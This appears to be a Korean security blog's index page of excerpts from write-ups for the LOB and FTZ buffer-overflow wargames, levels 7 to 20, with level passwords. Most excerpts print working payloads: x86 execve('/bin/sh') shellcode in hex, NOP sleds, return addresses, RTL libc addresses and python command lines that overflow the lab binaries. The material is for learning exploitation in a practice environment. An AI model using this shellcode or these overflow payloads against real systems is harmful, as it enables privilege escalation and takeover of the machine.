System 43

[LOB_14]bugbear

bugbear // new divide RTL2문제이다. execve 주소를 얻고 ret이 execve가 아니라면 종료해 버린다. 그렇다면 execve를 활용하는 RTL을 이용해야한다. execve 함수는 어떤인자를 받는지 알아 보았다. 첫번째 인자는 실행시킬 파일명 두번째 인자는 포인터 배열 세번째 인자는 환경 변수 먼저 execve 의 주소를 확인해 보았다. execve()주소 : 0x400a9d48 (little endian : \x48\x9d\x0a\x40) 이후 쉘을 따낼 system, exit, system("/bin/sh")주소를 확인했다. system() 주소 : 0x40058ae0 (little endian : \xe0\x8a\x05\x40) exit() 주소 : 0x400391e0 (l..

System/LOB 2019.09.24

[LOB_13]darkknight

darkknight // new attacker 이번 bugbear의 경우에는 RTL1 이라고 힌트를 주고 있다. gdb 디버깅하여 print system 명령어를 이용해 system()의 주소를 알아낸다. system() 주소 : 0x40058ae0 (little endian : \xe0\x8a\x05\x40) // rtl.c #include int main(){ long system=0x40058ae0; while(memcmp((void *)system, "/bin/sh", 8)) system++; printf("%x\n",system); return 0; } system() 함수 메모리 내의 "/bin/sh" 메모리를 검색해서 주소를 출력해 주었다. /bin/sh 주소 : 0x400fbff9 (li..

System/LOB 2019.09.24

[LOB_12]golem

golem // cup of coffee ※ strncpy? 원하는 길이만큼 복사받을 수 있는 함수이다. 사용법은 strncpy(복사받을 변수명, 복사할 변수명, 복사할 길이) 이번 문제는 strcpy가 아닌 strncpy를 이용하여 지정된 버퍼크기만큼만 입력을 받는것을 공격하는 문제이다. 하지만 41바이트를 받아 버퍼오버플로우가 날수 있다. 먼저 FPO(Frame Pointer Overflow)에 대해 학습한뒤 원리를 이해하고 문제를 해결하였다. (참고 : https://bob3rdnewbie.tistory.com/188) 이 원리는 서브 함수 스택 SFP를 overflow를 통해 shellcode의 시작주소 - 4를 통해 넣어주준다. 페이로드를 작성해주면 ret를 할때 sfp 주소가 main으로 가는..

System/LOB 2019.09.24

[LOB_11]skeleton

skeleton // shellcoder 추가된 것은 stack destroyer! 버퍼부터 스택세그먼트 끝까지 모두 초기화 시킨다. export HA=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` 환경변수를 추가해 공격을 시도해 보았다. 주소 : 0xbf ff fe 8d (little endian : \x8d\xfe\xff\xbf) ./golem `python -c 'print "\x90"*47+"\xbf"'` `python -c 'print "\x90"*100+"\x8d\xfe\xff\xbf"'` 하지만 모두 ..

System/LOB 2019.09.24

[LOB_10]vampire

vampire // music world argc saver가 추가 되었다. 인자 갯수를 saved_argc에 저장해 놓고 memset으로 초기화 시켜버린다. 파일이름명, 인자들 모두 막힌 상태이다. ./skeleton `python -c 'print "A"*47+"\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` 혹시나 해서 간단하게 argv[1], argv[2] 를 넣어보았지만 memset으로 모두 초기화 되었다. argv[1], argv[2] 가 모두 초기화 되었기에 남은 방법인 argv[0] 심볼..

System/LOB 2019.09.24

[LOB_9]troll

troll // aspirin 코드를 보니 쉬워 보인다. 추가된것은 argv[1] 47번째 인자가 \xff 이라는 점. 대충 내가 그려본 메모리 구조와 예시의 세그먼트 구조는 다음과 같다. ( https://bob3rdnewbie.tistory.com/123 ) 지금 요구하는 것은 0xbf~로 시작하는 주소인데 0xbfffffff 는 스택 세그먼트 주소이다. 0xbfff 보다 작아야 한다. 그렇다면 다음과 같이 생각해 볼 수 있다. argv[1]를 크게 넣어도 되고 argv[1]과 적절한 값과 argv[2] 에 큰값들을 넣어주어도 된다. 페이로드 argv[1] : "A"*47 + "\xbf" argv[2] : "\x90"*10 + shellcode + "A"*0x10000 ./vampire `python..

System/LOB 2019.09.24

[LOB_8]orge

orge // timewalker argv[0],[1] 만 입력되게 되어있고, memset을 한번더 해준다! 일단 먼저 사본파일 tmp에 저장 ./troll `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*7+"\xbf"'` 세폴트(세그먼트폴트)가 떠 코어덤프를 해준다. 하지만 gdb로 확인을 해봤는데 one more ! 부분에서 memset를 한번더 해주어서 그 부분이 다 0으로 초기화 되었다. ./troll `python -c 'print "\x90"*43+"\xf9\xbf\x0f\x40\xbf"'` 혹시..

System/LOB 2019.09.24

[LOB_7]darkelf

darkelf // kernel crashed 소스코드는 다음과 같다. 전문제와 동일하고 하나하나 추가된다. 이번에 추가되는 부분은 요 녀석이다. argv[0]의 길이가 77개가 아니면 종료해버린다! argv[0]은 실행파일명이 저장되는 부분이다. 이 길이를 우회를 해야한다. (python -c 'print "A"*73';cat)|./orge `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*7+"\xbf"'` 이런 상상도 해보았지만 fail.. 알아보니 실행파일 경로명이 아무리 길어도 20자를 넘지 못하기에 ..

System/LOB 2019.09.24

FTZ. 20

level20 // we are just regular guys 대망의 마지막 문제! 배열의 크기는 80인데 fgets 에서 입력받는 크기는 79이다. 즉 bof 로 ret 값을 변조가 안된다는 것이다. 그럼 무엇을 쓰면 좋을까? 다른것과 비교해 봤을 때 printf에서 차이점이 드러난다. 포맷스트링 %s를 사용하지 않고 단순 배열을 매개변수로 받는다. 이것은 FSB(Format String Bug)취약점이 발생하게 된다. 포맷스트링 에는 여러가지가 있다. %c : 단일문자 출력 %x : 부호없는 16진수 출력 %n : 이전까지 쓰인 byte 수만큼 저장 FSB에서 가장 중요한 포맷스트링은 %x, %n 이다. %x는 메모리를 읽어낼때, %n은 %n이 가리키는 주소에 저장할때! 먼저 메모리 구조를 대충 읽..

System/FTZ 2019.09.06

FTZ. 19

level19 // swimming in pink 심플한 코드이다. 환경변수를 이용해 ret에 그 주소를 넣어줘야 겠다. export SH=`python -c 'print "\x90"*100+"\x31\xc0\x31\xdb\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'` (python -c 'print "\x90"*44+"\x60\xfe\xff\xbf"';cat)|./attackme 성공!?!? ...? 실패였다. 확인해보니 다른 코드와는 달리 setreuid가 없는게 차이점이였다. level20의 ..

System/FTZ 2019.09.06